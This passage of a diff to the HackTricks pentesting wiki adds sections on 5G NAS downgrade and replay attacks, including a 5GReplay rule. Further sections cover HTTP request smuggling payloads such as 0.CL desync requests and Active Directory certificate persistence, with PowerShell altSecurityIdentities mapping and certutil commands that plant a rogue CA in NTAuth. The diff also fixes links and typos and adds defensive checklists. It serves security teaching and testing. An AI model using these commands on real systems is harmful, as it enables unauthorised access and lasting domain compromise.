 I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
 
+
+## macOS
+
+> [!TIP]
+> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
+
+Check a macOS ret2win example in:
+
+{{#ref}}
+../ret2win/ret2win-arm64.md
+{{#endref}}
+
+
 {{#include ../../../banners/hacktricks-training.md}}
-
-

src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md

@@ -178,7 +178,7 @@ On Android, you can instrument native code inside the target app process by prel
 See the Android native reversing page for setup details and log paths:
 
 {{#ref}}
-../../../mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
+../../mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
 {{#endref}}
 
 ---

src/generic-methodologies-and-resources/pentesting-network/README.md

@@ -128,7 +128,7 @@ If **no \[MAC]** is provided, the packet is sent to **broadcast ethernet** (and
 
 ```bash
 # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
-wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
+wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
 ```
 
@@ -427,9 +427,9 @@ VTP vulnerabilities are exploitable exclusively via trunk ports as VTP announcem
 
 Note: This discussion pertains to VTP version 1 (VTPv1).
 
-````bash
-%% yersinia -G # Launch Yersinia in graphical mode ```
-````
+```bash
+yersinia -G # Launch Yersinia in graphical mode
+```
 
 In Yersinia's graphical mode, choose the deleting all VTP vlans option to purge the VLAN database.
 

src/generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md

@@ -141,17 +141,127 @@ rm -f /tmp/sh ; history -c
 * `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
 * `FRP` (≥0.37) : NAT traversal / asset bridging
 
+## 9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
+
+The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
+
+Registration flow (simplified):
+- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
+- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
+- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
+- PDU Session Establishment: IP/QoS setup.
+
+Lab setup tips (non-RF):
+- Core: Open5GS default deployment is sufficient to reproduce flows.
+- UE: simulator or test UE; decode using Wireshark.
+- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
+- Useful display filters in Wireshark:
+  - ngap.procedure_code == 15 (InitialUEMessage)
+  - nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
+
+### 9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
+Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
+
+How to test:
+- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
+- Wireshark quick checks:
+  - It should decode as SUCI, not IMSI.
+  - Filter examples: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` should exist; absence plus presence of `imsi` indicates leakage.
+
+What to collect:
+- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
+
+Mitigation:
+- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
+
+### 9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
+Background:
+- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
+- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
+
+Issue:
+- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
+
+Offensive steps:
+- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
+- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
+- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
+
+Verification/visibility:
+- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
+- Example passive sniffer output:
+```
+Encyrption in use [EEA0]
+Integrity in use [EIA0, EIA1, EIA2]
+SUPI (MCC+MNC+MSIN) 9997000000001
+```
+
+Mitigations (must):
+- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
+- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
+
+### 9.3 Replay of initial Registration Request (pre-security NAS)
+Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
+
+PoC rule for 5GReplay to forward matching replays:
+
+```xml
+<beginning>
+  <property value="THEN" 
+            property_id="101" 
+            type_property="FORWARD" 
+            description="Forward InitialUEMessage with Registration Request">
+
+    <!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
+    <event value="COMPUTE" 
+           event_id="1" 
+           description="Trigger: InitialUEMessage" 
+           boolean_expression="ngap.procedure_code == 15"/>
+
+    <!-- Context match on NAS Registration Request (message_type == 65) -->
+    <event value="COMPUTE" 
+           event_id="2" 
+           description="Context: Registration Request" 
+           boolean_expression="nas_5g.message_type == 65"/>
+
+  </property>
+</beginning>
+```
+
+What to observe:
+- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
+
+Mitigations:
+- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
+
+### 9.4 Tooling pointers (reproducible)
+- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
+- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
+- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
+- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
+
+### 9.5 Defensive checklist
+- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
+- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
+- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
+- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
+
 ---
 ## Detection Ideas
 1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
 2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
 3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
 4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
+5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
+6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
 
 ## References
 
 - [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
 - 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
 - 3GPP TS 29.281 – GTPv2-C (v17.6.0)
+- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
+- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
+- 3GPP TS 33.501 – Security architecture and procedures for 5G System
 
 {{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/special-http-headers.md

@@ -54,6 +54,24 @@ A hop-by-hop header is a header which is designed to be processed and consumed b
 ../../pentesting-web/http-request-smuggling/
 {{#endref}}
 
+## The Expect header
+
+It's posible for the client to send the header `Expect: 100-continue` and then the server could respond with `HTTP/1.1 100 Continue` to allow the client to continue sending the body of the request. However, some proxies don't really llike this header.
+
+Interesting results of `Expect: 100-continue`:
+- Sending a HEAD request with a body the server didn't took into account that HEAD requests don't have body and keep the connection open until it timed out.
+- Another servers sent extrange data: Random data read from the socket in the response, secret keys or even it allowed to prevent the front-end from removing header values.
+- It also caused a `0.CL` desync cause the backend responded with a 400 response isntead of a 100 response, but the proxy front-end was prepared to send the body of the initial request, so it sends it and the backend takes it as new request.
+- Sending an `Expect: y 100-continue` variation also caused the `0.CL` desync.
+- A similar error where the backend responded with a 404 generated a `CL.0` desync because the malicious request indicates a `Content-Length` so the backend sends the malicious request + the `Content-Length` bytes of the next request (of a victim), this desyncs the queue cause the backend sends the 404 request for the malicious request + the repsonse of the victim requests, but the front end thought that only 1 request was sent, so the second response is sent to a seond victim request and the the reponse of taht one is sent to the next one...
+
+For more info about HTTP Request Smuggling check:
+
+{{#ref}}
+../../pentesting-web/http-request-smuggling/
+{{#endref}}
+
+
 ## Cache Headers
 
 **Server Cache Headers**:

src/pentesting-web/http-request-smuggling/README.md

@@ -36,6 +36,23 @@ Remember that in HTTP **a new line character is composed by 2 bytes:**
 - **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0`
 - **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling.
 
+### Visible - Hidden
+
+The main proble with http/1.1 is that all the requests go in the same TCP socket, so if a discrpancy is found between 2 systems receiving requests it's possible to send one request that will be reated as 2 different requests (or more) by the final backend (or even intermediary systems).
+
+**[This blog post](https://portswigger.net/research/http1-must-die)** proposes new ways to detect desync attacks to a system that won't be flagged by WAFs. For this it presents the Visible vs Hidden behaviours. The goal in this case is to try to find discrepancies in the repsonse using techniques that could be causing desyncs withuot actually exploiting anything.
+
+For example, sending a request with the normal host header and a " host" header, if the backend complains about this request (maybe becasue the value of " host" is incorrect) it possible means that the front-end didn't see about the " host" header while the final backend did use it, higly probale implaying a desync between front-end and backend.
+
+This would be a **Hidden-Visible discrepancy**.
+
+If the front-end would have taken into account the " host" header but the front-end didn't, this could have been a **Visible-Hidden** situation.
+
+For example, this allowed to discover desyncs between AWS ALB as front-end and IIS as the backend. This was because when the "Host: foo/bar" was sent, the ALB returned `400, Server; awselb/2.0`, but when "Host : foo/bar" was sent, it returned `400, Server: Microsoft-HTTPAPI/2.0`, indicating the backend was sending the response. This is a Hidden-Vissible (H-V) situation.
+
+Note that this situation is not corrected in the AWS, but it can be prevented setting `routing.http.drop_invalid_header_fields.enabled` and `routing.http.desync_mitigation_mode = strictest`.
+
+
 ## Basic Examples
 
 > [!TIP]
@@ -184,6 +201,34 @@ EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
 
+#### `0.CL` Scenario
+
+In a `0.CL` sitation a request is send with a Content-Length like:
+
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+ 7
+
+GET /404 HTTP/1.1
+X: Y
+```
+
+And the front-end doesn't take the `Content-Length` into account so it only sends the first request to the backend (until the 7 in the example). However, the backend sees the `Content-Length` and waits for a body that never arrives cause the front-end is already waiting for the response.
+
+However, if there is a request that it's possible to send to the backend that is responded before receiving the body of the request, this deadlock won't occure. In IIS for example this happen sending requests to forbidden words like `/con` (check the [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), this way, the initial request will be responded directly and the second requets will contain the request of the victim like:
+
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+
+This is useful to cause a desync, but it won't have any impact until now.
+
+However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+
 #### Breaking the web server
 
 This technique is also useful in scenarios where it's possible to **break a web server while reading the initial HTTP data** but **without closing the connection**. This way, the **body** of the HTTP request will be considered the **next HTTP request**.
@@ -269,6 +314,14 @@ Identifying HTTP request smuggling vulnerabilities can often be achieved using t
 - **Transfer-Encoding Variance Tests:**
   - Send requests with obfuscated or malformed `Transfer-Encoding` headers and monitor how differently the front-end and back-end servers respond to such manipulations.
 
+### The `Expect: 100-continue` header
+
+Check how this header can help exploiting a http desync in:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/special-http-headers.md
+{{#endref}}
+
 ### HTTP Request Smuggling Vulnerability Testing
 
 After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to `/` yield a 404 response. The `CL.TE` and `TE.CL` examples previously discussed in [Basic Examples](#basic-examples) demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.
@@ -878,6 +931,7 @@ def handleResponse(req, interesting):
 - [https://http1mustdie.com/](https://http1mustdie.com/)
 - Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
 - PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
+- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
 
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/integer-overflow.md

@@ -6,7 +6,7 @@
 >
 > 
 {{#ref}}
-> ../../binary-exploitation/integer-overflow.md
+> ../../binary-exploitation/integer-overflow-and-underflow.md
 > {{#endref}}
 
 ---

src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md

@@ -45,14 +45,51 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
 This forged certificate will be **valid** until the end date specified and as **long as the root CA certificate is valid** (usually from 5 to **10+ years**). It's also valid for **machines**, so combined with **S4U2Self**, an attacker can **maintain persistence on any domain machine** for as long as the CA certificate is valid.\
 Moreover, the **certificates generated** with this method **cannot be revoked** as CA is not aware of them.
 
+### Operating under Strong Certificate Mapping Enforcement (2025+)
+
+Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
+
+- Contain a strong binding to the target account (for example, the SID security extension), or
+- Be paired with a strong, explicit mapping on the target object’s `altSecurityIdentities` attribute.
+
+A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal:
+
+```powershell
+# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
+$Issuer  = 'DC=corp,DC=local,CN=CORP-DC-CA'           # reverse DN format expected by AD
+$SerialR = '1200000000AC11000000002B'                  # serial in reversed byte order
+$Map     = "X509:<I>$Issuer<SR>$SerialR"             # strong mapping format
+Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
+```
+
+Notes
+- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See 
+[account-persistence](account-persistence.md) for more on explicit mappings.
+- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
+
 ## Trusting Rogue CA Certificates - DPERSIST2
 
 The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
 
-A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA126`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
+A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
+
+Additional helpful commands for this technique:
+
+```bash
+# Add/remove and inspect the Enterprise NTAuth store
+certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
+certutil -enterprise -viewstore NTAuth
+certutil -enterprise -delstore NTAuth <Thumbprint>
+
+# (Optional) publish into AD CA containers to improve chain building across the forest
+certutil -dspublish -f C:\Temp\CERT.crt RootCA          # CN=Certification Authorities
+certutil -dspublish -f C:\Temp\CERT.crt CA               # CN=AIA
+```
 
 This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
 
+> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
+
 ## Malicious Misconfiguration - DPERSIST3
 
 Opportunities for **persistence** through **security descriptor modifications of AD CS** components are plentiful. Modifications described in the "[Domain Escalation](domain-escalation.md)" section can be maliciously implemented by an attacker with elevated access. This includes the addition of "control rights" (e.g., WriteOwner/WriteDACL/etc.) to sensitive components such as:
@@ -64,7 +101,19 @@ Opportunities for **persistence** through **security descriptor modifications of
 
 An example of malicious implementation would involve an attacker, who has **elevated permissions** in the domain, adding the **`WriteOwner`** permission to the default **`User`** certificate template, with the attacker being the principal for the right. To exploit this, the attacker would first change the ownership of the **`User`** template to themselves. Following this, the **`mspki-certificate-name-flag`** would be set to **1** on the template to enable **`ENROLLEE_SUPPLIES_SUBJECT`**, allowing a user to provide a Subject Alternative Name in the request. Subsequently, the attacker could **enroll** using the **template**, choosing a **domain administrator** name as an alternative name, and utilize the acquired certificate for authentication as the DA.
 
+Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
+
+- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
+- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
+- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
+
+> [!TIP]
+> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
+
+
+
+## References
+
+- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
+- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-

src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md

@@ -14,7 +14,7 @@ Moreover, these functions accepts also an **`entropy` parameter** which will als
 
 ### Users key generation
 
-The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the HTLM hash of the user**.
+The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
 
 This is specially interesting because if an attacker can obtain the user's password hash, they can:
 

theme/sponsor.js

@@ -15,7 +15,8 @@
   var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
 
   async function getSponsor() {
-    const url = "https://book.hacktricks.wiki/sponsor"
+    const currentUrl = encodeURIComponent(window.location.href);
+    const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {